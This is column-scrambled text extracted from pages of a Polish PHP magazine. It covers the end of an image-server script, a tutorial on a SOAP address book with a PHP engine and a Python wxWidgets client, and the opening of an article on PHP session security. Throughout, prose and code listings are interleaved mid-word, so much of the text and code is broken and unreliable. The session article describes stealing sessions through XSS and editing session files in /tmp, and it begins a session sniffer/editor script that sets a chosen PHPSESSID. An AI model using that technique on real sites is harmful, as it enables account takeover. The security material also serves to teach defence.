"size='2'>\n<input type='text' name='imgtag' size='100' strację i usuwanie użytkowników, zróż-
maxlength='160' value='".$imgtag."'>\n</font></td></tr>\n"; nicowane poziomy dostępu i wszelkie
} } } inne operacje, jakie mogą być potrzeb-
$content .= "</table></body></html>\n"; ne. Tak czy inaczej, pamiętajmy za-
closedir($handle); }
wsze, że kluczem do sukcesu projektów
print $content; // Wypisanie plików z kodem odpowiednich znaczników <img>
}else { print(showLoginPage()); } // Użytkownik nieautoryzowany programistycznych jest ich jak najwięk-
exit; sza prostota. n
?>
<html>
<body bgcolor="#FFFFFF"> O autorze
<h1>Our Pictures</h1>
<img src="imageserver.php?filename=image1.gif" width="200" height=”100”> Patrick O’Brien jest założycielem i twór-
<br><br> cą serwisu Jpowered.com (http://www.
<img src="imageserver.php?filename=image2.gif" width="200" height=”100”> jpowered.com), dostarczającego zaawan-
</body> sowane rozwiązania dla twórców witryn in-
</html> ternetowych i programistów.
W
yobraźmy sobie książkę tele- w Pythonie z użyciem wxWidgets.
adresową, w której będziemy
przechowywali dane o namia- Podstawowe założenia
rach znajomych czy kontrahentów. Chcie- Nasz system będzie się składał z następu-
libyśmy, aby informacje były gromadzone jących elementów:
w bazie danych na serwerze i udostępnia-
ne przez skrypt PHP-owy. Załóżmy że nie • bazy danych – w niej będziemy skła-
chcemy jednak korzystać z interfejsu we- dować dane książki teleadresowej,
bowego: znacznie bardziej wolimy wygo- • silnika (engine) – będzie się on znaj-
dę i funkcjonalność graficznych interfej- dował po stronie serwera i odpowiadał
sów okienkowych pod Windowsem czy Li- wyłącznie za obsługę danych książki
W SIECI nuksem. Z pomocą przychodzą nam usłu-
gi sieciowe (ang. Web Services), zwa-
ne też usługami sieciowymi, umożliwiają-
Co należy wiedzieć...
1. http://www.python.org/ Powinieneś znać model obiektowy i wy-
– oficjalna strona Pythona ce prostą do zorganizowania komunika- jątki w PHP5 oraz w Pythonie. Przydatna
2. http://phplens.com/ cję pomiędzy klientem a serwerem. Pisa- będzie wiedza na temat wxWidgets, pro-
phpeverywhere/?q=node/ tokołu SOAP i formatu XML.
liśmy już o nich w paru artykułach (Google
view/185
– Python kontra PHP API, XUL).
3. http://wiki.w4py.org/python-
vs-php.html
Jednym z najpopularniejszych protoko- Co obiecujemy...
– Python kontra PHP łów usług sieciowych jest SOAP. Przy jego Po przeczytaniu artykułu będziesz wie-
4. http://www.opensourcetutori pomocy połączymy zainstalowaną na ser- dział jak zbudować aplikację klient-ser-
als.com/tutorials/Server- wer w oparciu o protokół SOAP, gdzie
Side-Coding/Python/ werze, korzystającą z bazy danych aplika-
po stronie serwera jest skrypt PHP, nato-
– tutoriale dla Pythona cję PHP-ową z działającym na komputerze miast klient jest napisany w Pythonie.
klienta interfejsem użytkownika napisanym
Tworzymy silnik
Przejdźmy teraz do tworzenia naszej apli- Podstawowe różnice pomiędzy Pythonem a PHP
kacji, zaczynając od silnika. Wykonanie
• brak średników między poleceniami (np. na końcach wiersza),
dowolnej operacji na danych będzie wy- • o składni decydują wcięcia – trzeba się ich trzymać co do kolumny w każdym bloku,
magało autoryzacji (którą będzie spraw- bo inaczej parser zwróci Syntax Error. Bloki otwieramy przez dwukropek i nie zamy-
dzał silnik) poprzez każdorazowe przesła- kamy,
• kropka służy jako separator pomiędzy obiektem a metodą lub atrybutem, a nie do łą-
nie hasła i loginu. Wszelkie błędy w dzia-
czenia łańcuchów (którego dokonujemy przy użyciu znaku +),
łaniu silnika zostaną obsłużone przez sys- • tablice asocjacyjne – w Pythonie występują dwa najprostsze rodzaje tablic: lista in-
tem wyjątków (exceptions). deksowana (list, której ogranicznikami są nawiasy kwadratowe []) oraz oparty na
Nasz silnik będzie miał postać klasy kluczach słownik (dictionary, dict, którego ogranicznikami są nawiasy klamrowe {}).
Można łączyć oba typy, tzn. w listach zawierać słowniki i vice versa,
book_engine.
• w klasach nie ma podziału na metody publiczne i prywatne,
Zacznijmy od zdeklarowania pu- • nazwy zmiennych w Pythonie nie zaczynają się od znaku $,
blicznych i prywatnych zmiennych klasy: • funkcje i metody deklarujemy przy użyciu instrukcji def, konstruktor klasy to _ _
$db (handler bazy danych), $required- init _ _ (),
• wewnątrz klasy na utworzony obiekt wskazuje zmienna self, nie $this.
Fields (zestaw pól wymaganych pod-
czas dodawania danych do bazy),
$requiredFieldsUpdate (pola wymaga- Zwróćmy też uwagę na wywoła- kwerendę ($query) oraz opcjonalnie para-
ne przy aktualizacji danych w bazie) oraz nie funkcji errorArray: jest to prywatna metry kwerendy ($queryParams).
$msg (komunikat zwracany przez silnik, wy- metoda klasy book_engine, której zada- Następnie w bloku try..catch spraw-
korzystywany przez klienta w celu spraw- niem jest zwracanie błędów w postaci dzamy, czy zostało nawiązane połączenie
dzenia, czy silnik działa). Teraz przejdzie- tablicy przygotowanej do późniejszego oraz, czy użytkownik został poprawnie zalo-
my do metod, zaczynając od konstruktora przekształcenia na XML. Na Listingu 2 gowany. Dokonamy tego za pomocą dwóch
(Listing 1). To tutaj zainicjujemy bazę da- widzimy tę funkcję obok resultArray metod narzędziowych: checkConnection()
nych, tworząc obiekt $this->db klasy PDO. i msgArray, odpowiadających za zwra- oraz checkLogin() (Listing 4), które w ra-
Operacja ta wymaga podania adresu ser- canie wyników operacji bazodanowych zie niepowodzenia wyrzucą wyjątek. Ob-
wera, nazwy bazy, loginu i hasła (to ostat- oraz komunikatów innych, niż infor- sługą wyjątków zajmie się prywatna meto-
nie nie jest obowiązkowe, można zosta- macje o błędach. W każdym przypad- da klasy book_engine, handleExceptions().
wić puste pole). Następnie ustawimy (se- ku, tablica wygląda tak samo: różni się Takie użycie wyjątków jest sensowne i nie
tAttribute) atrybut PDO::ATTR_ERRMODE tej jedynie elementem określającym typ jest przesadą, gdyż każda niemożność wy-
klasy: odpowiada on za sposób traktowa- zwracanych danych (entries – wyniki, konania operacji przez aplikację serwerową
nia błędów w działaniu interfejsu PDO, ta- errors – błędy i messages – komunika- dla klienta jest po prostu błędem, niezależ-
kich jak np. brak połączenia z serwerem ty), na podstawie którego klient będzie nie od źródła tego błędu. Wyjątki zapewnia-
bazodanowym czy błędna składnia kwe- później oceniał, jakiego typu informacja ją możliwość kontrolowania wszelkich sytu-
rendy. Chcemy, aby wszelkie problemy do niego dotarła. acji tego rodzaju w dwóch czytelnych blo-
tego rodzaju były obsługiwane poprzez kach, bez zaciemniania kodu dziesiątkami
zgłaszanie wyjątku, więc ustawimy PDO:: Pobieranie danych z bazy dodatkowych konstrukcji typu if..else czy
ATTR_ERRMODE na PDO::ERRMODE_EXCEPTION. Potrzebujemy teraz metody pozwalającej switch().
Co więcej, całą operację inicjalizacji ba- na pobieranie danych z bazy: określone- Jeżeli zarówno połączenie, jak i logo-
zy danych i ustawienia tego parametru uj- go rekordu (wg ID) lub wszystkich rekor- wanie odbyły się poprawnie, przechodzi-
miemy w bloku try...catch: w razie wy- dów. Nasza metoda będzie się nazywa- my do wysyłania kwerendy. Skorzystamy
stąpienia błędu, funkcja zwróci komunikat ła getDataFromSRC() i będzie przyjmowała w tym celu ze świetnej możliwości ofero-
ERROR_NO_CONNECTION, który może później następujące parametry (Listing 3): nazwę wanej także przez PDO, nazywanej pre-
zostać obsłużony przez klienta. użytkownika ($userName), hasło ($pass), pared statements (pisaliśmy o niej sze-
rzej w „PDO – przyszły standard dostępu
do baz danych” PHP Solutions 5/2005).
Prepared statements ułatwiają tworzenie
kwerendy, zastępując tradycyjne, polega-
baza
jące na łączeniu łańcuchów metody wpi-
danych
sywania parametrów poprzez tworzenie
interfejs interfejs pewnego rodzaju szablonów zapytania,
silnik SOAP- GUI
GUI
gdzie za pomocą specjalnych odnośni-
SOAP SOAP
ków (rozpoczynających się przeważnie od
silnik dwukropka) przekazujemy do zapytania
aplikacji zmienne lub ich wartości. Zalety prepared
statements nie kończą się jednak na uła-
twianiu programowania: ich użycie powo-
SERWER KLIENT duje również automatyczne i odpowiednie
dla danego typu bazy danych eskejpowa-
Rysunek 1. Schemat działania systemu książki teleadresowej nie znaków (ang. character escaping), co
chroni nas przed atakami SQL Injection Każdy wiersz tablicy musi zawierać klucze ment z poleceniem INSERT i parametrami
oraz zniesienie konieczności wpisywa- o nazwach odpowiadających polom tabeli odpowiadającymi nazwom pól z $this-
nia cudzysłowów lub apostrofów w samej bazodanowej book – będzie to sprawdza- >requiredFields, po czym zostanie wy-
kwerendzie, co umożliwia bezproblemo- ne przy użyciu prywatnej metody narzę- konana kwerenda. W przypadku udanego
we przekazywanie danych zawierających dziowej checkRequiredFields(), wyrzuca- dodania rekordu metoda zwróci komunikat
te znaki w dowolnym układzie. jącej w razie błędu wyjątek z komunikatem OK_ADDED_DATA, lub ERROR_ADD_FAILED w
Aby utworzyć nowy prepared sta- ERROR_BAD_DATA. Warto pamiętać, iż meto- razie niepowodzenia. W tym drugim przy-
tement o nazwie $stmt, użyjemy meto- da ta sprawdza jedynie pola zdeklarowane padku otrzymamy również bardziej szcze-
dy prepare() naszego obiektu $this->db. w tablicy $this->requiredFields, wśród gółowy komunikat (np. ERROR_BAD_DATA),
Określimy w niej podstawową formę kwe- których nie znajduje się ID – nie ma więc następujący po ERROR_ADD_FAILED i oddzie-
rendy (szablon). Następnie, w pętli foreach znaczenia, czy zestaw danych przekazy- lony od niego znakiem =. Metoda jest go-
odczytamy kolejne parametry, jeżeli zosta- wanych do addDataToSRC() zawiera tako- towa.
ły one zdefiniowane w ostatnim, opcjonal- wy atrybut, czy nie. Następnie, dla każde- Analogicznie do getDataFromSRC(),
nym argumencie getDataFromSRC(). Ar- go wersu tworzony będzie prepared state- addDataToSRC() jest metodą prywatną
gument ten jest tablicą asocjacyjną, za-
wierającą klucze (na ich podstawie stwo-
Listing 4. Metody narzędziowe, sprawdzające połączenie (checkConnection())
rzymy nazwy odnośników, o których mó-
i zalogowanie (checkLogin) oraz metoda obsługująca wyjątki (handleExceptions())
wiliśmy) oraz wartości, które przypiszemy
do prepared statement używając metody private function checkConnection(){
bindValue() obiektu $stmt. if(!isset($this->db)) { throw new Exception ('ERROR_NO_CONNECTION'); }
}
Gotowy statement wykonamy używa-
private function checkLogin($userName,$pass){
jąc $stmt->execute(), a następnie przy ...
pomocy $stmt->fetchAll() odczytamy
wyniki (PDO::FETCH_ASSOC – w posta- Listing 5. Metody getOneEntry() oraz getAllEntries(), przekazujące odpowiednią
ci tablicy asocjacyjnej). kwerendę do getDataFromSRC()
Jeżeli wszystko przebiegło poprawnie,
public function getOneEntry($userName,$pass,$id){
funkcja zwróci tablicę wyników (resultAr- $query="SELECT * from book WHERE id=:id";
ray()), a jeżeli wystąpił błąd, zwrócony zo- $entries=$this->getDataFromSRC($userName,$pass,$query,array('id'=>$id));
stanie komunikat błędu ERROR_GET_FAILED. return $entries;
Zauważmy, że getDataFromSRC() jest }
public function getAllEntries($userName,$pass){
metodą prywatną. Jest to celowe i wynika
$query="SELECT * from book";
ze względów bezpieczeństwa: wszak prze- ...
kazujemy do niej kwerendę i nie chcemy,
aby można było to zrobić np. za pomocą Listing 6. addDataToSRC – metoda służąca dodawaniu nowych rekordów do ba-
interfejsu silnik-SOAP. Kwerendy będziemy zy oraz jej interfejs, addEntry()
przekazywać przy użyciu publicznych me-
private function addDataToSRC($userName,$pass,$data){
tod getAllEntries() oraz getOneEntry() try{
(Listing 5), które będą zwracały wszystkie $a=$this->checkConnection();
pozycje z tabeli bazodanowej lub jedną wy- $a=$this->checkLogin($userName,$pass);
braną. Pierwsza z tych metod wymaga po- foreach($data as $i){
// iteruj wszystkie rzędy tablicy, które będą dodane (zwykle jest 1)
dania jedynie loginu i hasła, podczas gdy
$a=$this->checkRequiredFields($i);
druga potrzebuje także ID wybranego re- $stmt=$this->db->prepare("INSERT INTO book ".
kordu. ...
}
Dodawanie nowych rekordów // end of $i foreach
return $this->msgArray("OK_ADDED_DATA");
Stworzymy teraz metodę addDataToSRC(),
}catch (Exception $e){ return $this->handleExceptions
(Listing 6), która będzie odpowiadała za ($e,"ERROR_ADD_FAILED"); }
dodawanie nowych rekordów do bazy. }
Przyjmuje ona 3 parametry: login, hasło public function addEntry($userName,$pass,$data){
i dane do wstawienia, a swoje działanie $result=$this->addDataToSRC($userName,$pass,$data);
return $result;
rozpoczyna od sprawdzania poprawności
}
połączenia i zalogowania. private function checkRequiredFields($data,$action='add'){
Przejdźmy teraz do przetwarza- if($action=='add') { $requiredFields=$this->requiredFields; }
nia przekazanych danych: metoda if($action=='update') { $requiredFields=$this->requiredFieldsUpdate; }
addDataToSRC() pozwala na dodanie jed- foreach($requiredFields as $i){
if(!isset($data[$i])) { throw new Exception ('ERROR_BAD_DATA'); }
nego lub więcej rekordów za jednym wy-
}
wołaniem; w obu przypadkach przekazuje- return true;
my tablicę pozycji do wstawienia, która na- }
stępnie będzie iterowana w pętli foreach.
– dane przekazujemy przy użyciu publicz- Warto też zauważyć, że check- prywatną metodę deleteEntryFromSRC()
nej metody addEntry(), która przyjmuje ta- EntryExists() nie korzysta z metody (Listing 9) oraz publiczną deleteEntry().
kie same parametry, jak addDataToSRC(). getDataFromSRC() – jest to celowe, aby nie Metoda deleteEntryFromSRC() przyjmuje
wiązać prostej metody narzędziowej, jaką login, hasło oraz pojedyncze ID – pozwa-
Aktualizacja danych jest checkEntryExists(), z rozbudowaną la więc na skasowanie tylko jednego re-
Do aktualizacji rekordów naszej książ- metodą odczytu danych. Prawie identycz- kordu na raz, co jest celowe, gdyż zwięk-
ki teleadresowej posłuży metoda upda- nie, jak w przypadku addDataToSRC(), wy- sza bezpieczeństwo danych. Podobnie,
teDataInSRC() (Listing 7). Generalnie, gląda natomiast tworzenie prepared state- jak poprzednia metoda (updateDataIn-
większość jej kodu jest bardzo podobna ment, z jedną zasadniczą różnicą: tu uży- SRC()), deleteEntryFromSRC() sprawdza
do addDataToSRC(). Różnice pojawiają wamy polecenia SQL-owego UPDATE, a nie połączenie, zalogowanie i występowanie
się w przypadku zestawu wymaganych INSERT. Zwracanym przez tę funkcję komu- pozycji w tabeli bazodanowej, a następnie
pól – ten dla aktualizacji będzie zawierał nikatem o pomyślnym zakończeniu opera- sporządza i wykonuje prepared statement.
również ID rekordu i zostanie określony cji jest natomiast OK_UPDATED_DATA, a o nie- W przypadku powodzenia operacji meto-
w tablicy $this->requiredFieldsUpdate. powodzeniu – ERROR_UPDATE_FAILED. da zwraca OK_DELETED_DATA, a w razie nie-
Drugą istotną różnicą jest to, że Podobnie, jak addDataToSRC(), update- powodzenia – ERROR_DELETE_FAILED.
updateDataInSRC() sprawdza przy po- DataInSRC() ma metodę publiczną, która Nasz silnik jest gotowy. Zapiszmy go
mocy metody checkEntryExists() (Li- ją wywołuje (updateEntry()). w pliku bookengine.php.
sting 8), czy aktualizowany rekord wystę-
puje w tabeli bazodanowej book. Jeżeli Kasowanie danych Tworzymy interfejs
takowy nie istnieje, wyrzucany jest wyją- Czas na ostatnią operację bazodanową: silnik – SOAP
tek z komunikatem ERROR_NO_ENTRY. kasowanie danych. Stworzymy w tym celu Czas na interfejs silnik-SOAP. Jak już wie-
my, jego zadaniem będzie przekształcanie
Listing 7. updateDataInSRC – aktualizacja danych w bazie danych pomiędzy tablicą a XML-em oraz
ich przesyłanie pomiędzy klientem a silni-
private function updateDataInSRC($userName,$pass,$data){ kiem. W tej dziedzinie nigdy nie możemy
try{ na 100% zaufać w solidność bibliotek po
$a=$this->checkConnection();
drugiej stronie, gdyż są one często w wer-
$a=$this->checkLogin($userName,$pass);
foreach($data as $i){ sji rozwojowej. Użycie XML-a chroni nas
// check, whether each row contains the correct data przed wszelkimi niekompatybilnościami.
$a=$this->checkRequiredFields($i,'update'); Zaczniemy od utworzenia klasy
$a=$this->checkEntryExists($userName,$pass,$i['id']); interface_SOAP (Listing 10), która będzie
$stmt=$this->db->prepare("UPDATE book SET ".
główną klasą interfejsu silnik-SOAP i bę-
...
} dzie udostępniana w ramach komunikacji
return $this->msgArray("OK_UPDATED_DATA"); SOAP (o tym zaraz). Na początku usta-
}catch (Exception $e){ return $this->handleExceptions($e, limy dwie zmienne publiczne: $book (in-
"ERROR_UPDATE_FAILED"); } stancja naszego silnika) oraz $msg (komu-
}
nikat o połączeniu z silnikiem). Następnie
public function updateEntry($userName,$pass,$data){
$result=$this->updateDataInSRC($userName,$pass,$data); przejdziemy do konstruktora: utworzymy
return $result; w nim instancję klasy bookengine, oraz
} obiekt klasy XML_Array, służącej do kon-
wersji danych między tablicą a formatem
Listing 8. checkEntryExists – sprawdzanie, czy rekord tabeli istnieje
XML. W artykule nie omówimy tej klasy
public function checkEntryExists($userName,$pass,$id){ – jej kod źródłowy (podobnie jak kod ca-
$query="SELECT * from book WHERE id=:id"; łej aplikacji) znajduje się na naszej stro-
try{ nie WWW.
$a=$this->checkConnection();
Teraz wystarczy wczytać komunikat
$a=$this->checkLogin($userName,$pass);
$stmt=$this->db->prepare($query);
z silnika (getMsg())– jeżeli został zmieniony,
.... to silnik został zainicjowany prawidłowo.
$resultArray=$stmt->fetchAll(PDO::FETCH_ASSOC); Następne metody: getOneEntry(),
} getAllEntries(), addEntry(), update-
Entry() oraz deleteEntry() odpowiada-
catch (Exception $e){ throw new Exception("ERROR_NO_CONNECTION"); }
ją metodom klasy bookengine. Ich zada-
// jeżeli operacje bazodanowe były OK, ale nie znaleziono pozycji, niem jest jedynie konwersja formatu da-
// wyrzuć wyjątek z komunikatem ERROR_NO_ENTRY. Zostanie on przejęty przez nych (tablica<->XML) pomiędzy silnikiem
// metodę wywołującą, nie przez tę, w której jesteśmy a klientem. Odbywa się to przy użyciu me-
if($resultArray==array()) { throw new Exception ("ERROR_NO_ENTRY"); }
tod retArrayToXML() (tablica -> XML) oraz
else { return true; }
retXMLToArray() (XML -> tablica) klasy
}
XML_Array. Zapiszmy teraz gotową kla-
sę w pliku todoserver.php i udostępnij-
panel (wx.Panel), na którym będą roz- Potem przejdziemy do umieszczania mi, które oszczędzają nam podawania po-
mieszczone kolejne elementy, takie jak obiektów: przycisków self.buttons['Add'], zycji i rozmiarów obiektów w pikselach.
np. lista przewijana (wx.ListCtrl), przy- Edit i Remove, pola tekstowego, na którym Mechanizm podobny do sizerów, tyle że
ciski (wx.Button) czy pole tekstowe będziemy wyświetlali zawartość rekordu zastosowany w GTK, tzw. boksy (ang. bo-
(wx.TextCtrl), w którym będziemy wy- (obiekt self.dataScreen klasy TextCtrl) xes) zostały omówione w artykułach Wake
świetlać dane wybranego rekordu Przej- oraz listy przewijalnej, self.bookList klasy on Lan (numer 2/2005), Nowe możliwo-
dziemy więc do tworzenia głównego pa- bookListCtrl (szczegóły jej działania omó- ści PHP-GTK2 (numer 1/2006) oraz Gla-
nelu aplikacji. Utworzymy w tym celu kla- wimy później). de GUI Builder (numer 2/2006). Jednym
sę MainPanel, która będzie dziedziczyła Czas na ułożenie obiektów w oknie z najprostszych sizerów jest wx.BoxSizer,
z wx.Panel. – służą do tego narzędzia zwane sizera- który automatycznie rozmieszcza kolejne
obiekty poziomo (wx.HORIZONTAL) albo pio-
nowo (wx.VERTICAL). Skorzystamy z nie-
Listing 15. Główna pętla aplikacji wxWidgets
go, aby rozlokować obok siebie przyciski
class mainModule(wx.App): (sizerBtn).
def OnInit(self): Następnie utworzymy sizer, za pomo-
mainF=wx.Frame(None,-1,'Książka teleadresowa',) cą którego rozmieścimy wszystkie obiekty
mainF.SetSize((640,480))
w naszym oknie – w tym również inne si-
a=mainPanel(mainF,-1)
mainF.Show(True) zery, takie jak sizerBtn. Tym razem uży-
return True jemy narzędzia wx.RowColSizer, które po-
zwala na rozlokowanie obiektów w komór-
x_pim=mainModule(0) kach tabeli. Utworzymy obiekt sizerP. Ko-
x_pim.MainLoop()
lumny i wersy tej tabeli możemy łączyć
Listing 16. Konstruktor klasy MainPanel – tworzenie i porządkowanie zawartości (colspan i rowspan). Przy pomocy metody
głównego okna aplikacji SetItemMinSize() tej klasy ustalimy z ko-
lei minimalny rozmiar wybranych obiektów,
class mainPanel(wx.Panel): zaś metoda SetSizerAndFit samego pa-
def __init__(self,parent,id):
nelu pozwoli nam umieścić sizer w oknie.
wx.Panel.__init__(self,parent,id)
self.requiredFieldsAll=['name','surname','phone','mobile','email','www',\ Pora na powiązanie zdarzeń (ang.
'gg','aim','icq','notes','address','postal'] events) dotyczących utworzonych obiek-
... tów z metodami callbackowymi (ang. cal-
buttons={} lback methods), w których zawarta bę-
buttons['Add'] =wx.Button(self,-1,"Add")
dzie obsługa tych zdarzeń. Powiązania te
...
self.dataScreen=wx.TextCtrl(self,-1,style=wx.TE_MULTILINE) opisujemy za pomocą specjalnych kon-
self.dataScreen.SetEditable(False) strukcji językowych: w przypadku wybo-
self.bookList=bookListCtrl(self,-1) ru oraz anulowania wyboru elementu li-
self.sizerBtn=wx.BoxSizer(wx.HORIZONTAL) sty użyjemy wx.EVT_LIST_ITEM_SELECTED
...
oraz wx.EVT_LIST_ITEM_DESELECTED, a dla
#self.sizer=wx.lib.rcsizer.RowColSizer()
self.sizerP=wx.lib.rcsizer.RowColSizer() przycisków zastosujemy wx.EVT_BUTTON.
self.sizerP.Add(self.dataScreen,row=0,col=0,colspan=4,rowspan=3,flag=wx.EXPAND) Została jeszcze jedna operacja: wy-
... wołanie nieutworzonej jeszcze metody
wx.EVT_LIST_ITEM_SELECTED(self,self.bookList.GetId(),self.entryIsSelected) populateBookList(), która będzie służyła
wx.EVT_LIST_ITEM_DESELECTED(self,self.bookList.GetId(),self.entryIsDeselected)
do wypełnienia listy danymi.
wx.EVT_BUTTON(self,buttons['Add'].GetId(),self.addClicked)
... Zanim jednak przejdziemy do tworze-
self.populateBookList() nia tych metod, zbudujmy element, bez
którego nasz interfejs jest bezużyteczny:
Listing 17. bookListCtrl, obiekt listy przewijanej (booklistctrl.py) listę przewijaną.
class bookListCtrl(wx.ListCtrl,wx.lib.mixins.listctrl.ColumnSorterMixin):
def addToList(self,dataFields,moreData=-2): Lista przewijana
lastIndex=self.GetItemCount() # indeks dodawanej pozycji Lista przewijana to obiekt klasy
self.InsertStringItem(lastIndex,str(lastIndex)) wx.ListCtrl. My odziedziczymy tę kla-
for i in range(0,len(dataFields)):
sę tworząc bookListCtrl (Listing 17), aby
self.SetStringItem(lastIndex,i+1,dataFields[i])
...
zorganizować listę po swojemu.
def __init__(self,parent,id): Zacznijmy od jej konstruktora. Wsta-
wx.ListCtrl.__init__(self,parent,id,style=wx.LC_REPORT|wx.SUNKEN_BORDER) wimy w nim kolumny listy (metoda
self.InsertColumn(0,'Nr') InsertColumn()), kolejno: numer pozy-
...
cji, imię, nazwisko, telefon, telefon ko-
wx.lib.mixins.listctrl.ColumnSorterMixin.__init__(self,6)
mórkowy oraz e-mail, a także doda-
my narzędzie umożliwiające sortowanie
(ColumnSorterMixin), które wymaga po-
Podsumowanie
Jak widać, zaprzęgnięcie PHP i Pythona
w celu wykonywania wspólnego zada-
nia jest proste i daje zadziwiające rezul-
Rysunek 2. Gotowy interfejs użytkownika taty: stronę serwerową obsługuje potęż-
ny, a zarazem prosty skrypt PHP, nato-
(editClicked). W pierwszym przypadku zawartość tabeli bazodanowej (populate- miast Python świetnie sprawdza się przy
okienkiem dialogowym jest obiekt klasy BookList()). tworzeniu interfejsu graficznego. Istnie-
wx.MessageDialog wyświetlający komu- Przyjrzyjmy się teraz populate- je idealny podział pracy pomiędzy model
nikat: w dwóch pozostałych korzystamy BookList(). Na początku, metoda ta czy- danych, a ich prezentację. Takiego połą-
z instancji własnej klasy editionDialog, ści listę (self.bookList.clearList()) czenia można dokonać również między
którą omówimy później. W każdej spo- i pobiera wszystkie dane przechowywa- PHP a dowolnym innym językiem, np.
śród tych metod dialog jest wywoływany ne w lokalnym modelu danych, które na- Javą, do czego Was zresztą serdecz-
modalnie (ShowModal()), co oznacza, że stępnie dodaje do listy. Główna częśc in- nie zachęcamy. Dzięki protokołom takim,
dopóki jest na ekranie, możliwość ko- terfejsu naszej aplikacji jest już gotowa, jak SOAP czy XML-RPC świat PHP stoi
rzystania z pozostałych elementów na- zapiszmy ją więc w pliku gui_main.py. otworem dla innych rozwiązań.
szej aplikacji jest zablokowana. Każdy
dialog ma przyciski (w przypadku ka- Dialog dodawania i edycji
sowania są to TAK i NIE, w pozostałych rekordów
– OK i Anuluj). Zwróćmy uwagę na spo- Ostatnim elementem naszego interfej-
sób reagowania na ich kliknięcie: po za- su graficznego jest dialog pozwalają-
O autorze
mknięciu dialogu sprawdzamy zwróco- cy nam wpisywać dane wybranej po- Krzysztof Sobolewski od wielu lat zaj-
ną wartość. zycji książki teleadresowej. Ma on po- muje się programowaniem, głównie w
Metody removeClicked, addClicked stać klasy editionDialog, która dziedzi- PHP i Pythonie. Do jego ulubionych dzie-
dzin należą: bazy danych, interfejsy gra-
i editClicked() korzystają z mode- czy z wx.Dialog (Listing 19). W konstruk-
ficzne i algorytmy rekurencyjne. Poza
lu danych: pierwsza z nich kasuje pozy- torze tej klasy definiujemy i ustawiamy tym redaguje magazyn PHP Solutions,
cję tabeli bazodanowej book przy użyciu (za pomocą sizerów) etykiety (wx.Sta- bierze udział w tworzeniu polskiej Wiki-
dataModel.deleteEntryFromDB(). W dru- ticText) i pola danych (wx.TextCtrl) pedii i pisze eseje na różne tematy.
giej uzywamy metody addEntry() tej sa- oraz przyciski OK i Anuluj. Potrzebuje-
Kontakt z autorem:
mej klasy, a w trzeciej – updateEntry(). my jeszcze metod pozwalających na po- krzysztof.sobolewski@gmail.com
Każda z tych metod odświeża następnie bieranie wpisanych danych z pól edycyj-
R E K L A M A
O
d kiedy zetknąłem się z języ- waczami, dla których modyfikacja cia-
kiem PHP (a było to wiele lat steczek nie stanowi najmniejszego pro-
temu), nieustannie zwracano mi blemu.
uwagę, że zwykle każda zmienna global-
na może bez większych problemów być Niebezpieczeństwa
modyfikowana przez użytkownika. Dla- płynące z sesji
tego początkujący oraz średniozaawan- Każdy zaawansowany programista PHP
sowani programiści stosują prostą re- wie, że gdy włączymy Register Globals,
gułę, która zabrania przesyłania zmien- zmienne sesyjne (SESSION) mają więk-
nych odpowiedzialnych np. za rozpozna- szy priorytet niż zmienne typu POST,
wanie zalogowania użytkownika przy po- GET, czy COOKIES. W praktyce ozna-
mocy metod POST i GET. W przypad- cza to, że jeśli w skrypcie zadeklarujemy
W SIECI ku GET, poufne informacje widoczne są zmienną sesyjną o nazwie $variable,
w pasku adresu, natomiast przy stoso-
waniu trochę bezpieczniejszej POST, zo-
1. http://www.phpsec.org
Co należy wiedzieć...
baczymy je np. w kodzie przesyłanego Potrzebna będzie znajomość podstaw
– PHP Security Consortium
2. http://www.hardened- formularza – agresor może więc taki for- PHP.
php.net/
– PHP Security Project
mularz spreparować. Co obiecujemy...
Lepsze kursy PHP polecają, aby da- Nauczysz się wykradania sesji PHP po-
3. http://www.sitepoint.com/
article/php-security-blunders ne dotyczące logowania przetrzymy- przez luki XSS, ich bezpośredniego mo-
– Top 7 security blunders dyfikowania na serwerze, ich sniffowania
wać w ciasteczkach (ang. cookies). Jed-
4. http://www.acros.si/papers/ przy restrykcjach serwera oraz zabezpie-
session_fixation.pdf nak należy pamiętać, że nie bronimy na- czania się przed ich wykradaniem i zatru-
– session fixation szych skryptów przed szarymi użytkow- waniem.
nikami, lecz przed wprawnymi włamy-
a następnie prześlemy do skryptu ustalamy długości zmiennej i używamy Jak się przed tym obronić? Nale-
zmienną o takiej samej nazwie przy uży- typu integer (litera i), tak jak w przy- ży włączyć opcję PHP-ową Safe Mode,
ciu metody POST lub GET, skrypt bę- padku zmiennej $zalogowany (zalogowa- co ma miejsce na znacznej większości
dzie używał wartości zapisanej w zmien- ny|i:1;), która ma wartość 1. serwerów hostingowych. Uniemożliwi
nej sesyjnej. to przeglądanie plików innych użytkow-
Zmienne sesyjne zapewniają nam Modyfikacja sesji ników, również tych znajdujących się w
tak naprawdę znikomy stopień bezpie- poprzez pliki katalogu /tmp. Użycie funkcji readdir()
czeństwa, gdy nasz skrypt używają- Naszym celem będzie nielegalna mo- w tym trybie również nie będzie wyko-
cy sesji znajdzie się na publicznie do- dyfikacja pliku sesji w katalogu /tmp/ na nalne.
stępnym serwerze. Nie tylko, że może- dysku serwera. Zadanie to jest znacz-
my je modyfikować, kasowac i nadpisy- nie ułatwione tym, że pliki sesji tworzo- Zatruwanie sesji metodą
wać; możemy również przechwycić se- ne są przez serwer Apache, a więc ich unknowa & adama_i
sję innego użytkownika i w efekcie być właścicielem jest zazwyczaj użytkownik Prawie pół roku temu na bugtraq serwi-
zalogowanym (np. na forum lub blogu) nobody. Z tego właśnie powodu mamy su securityfocus.com pojawił się raport
jako on. prawo odczytu i zapisu plików sesji z po- o błędzie, na który podatne są wszyst-
ziomu dowolnego skryptu PHP, którego kie dotychczasowe wersje PHP. Ra-
Fizyczna lokalizacja może używać również włamywacz. port ten znajduje się pod adresem http://
zmiennych sesyjnych
W przypadku zmiennych POST, GET Listing 1. Sniffer zmiennych sesyjnych
i COOKIES, nie mamy najmniejszych
wątpliwości co do ich fizycznej lokali- <?php
zacji. Zarówno zmienne z tablic $_POST if ($sess_number) {setcookie('PHPSESSID',$sess_number);
$_COOKIE['PHPSESSID']=$sess_number;}
jak i $_GET są jednokrotnie przesyłane
session_start();
do skryptu i nie są nigdzie na stałe za- ?>
pamiętywane. Zmienne z tabeli $_COOKIE
są przetrzymywane na dysku użytkowni- <h1>SniffEdSess</h1>
ka w postaci plików ciasteczek zgroma- sniffer&edytor zmienych sesyjnych<br><br>
<form method=post>
dzonych w odpowiednim dla danej prze-
<table cellpadding=5 cellspacing=0 border=1>
glądarki miejscu. Natomiast zmienne se- <tr bgcolor="silver">
syjne nie są ani przesyłane jednokrot- <th>numer sesji:</th>
nie, bo przeczyłoby to ich przeznacze- </tr>
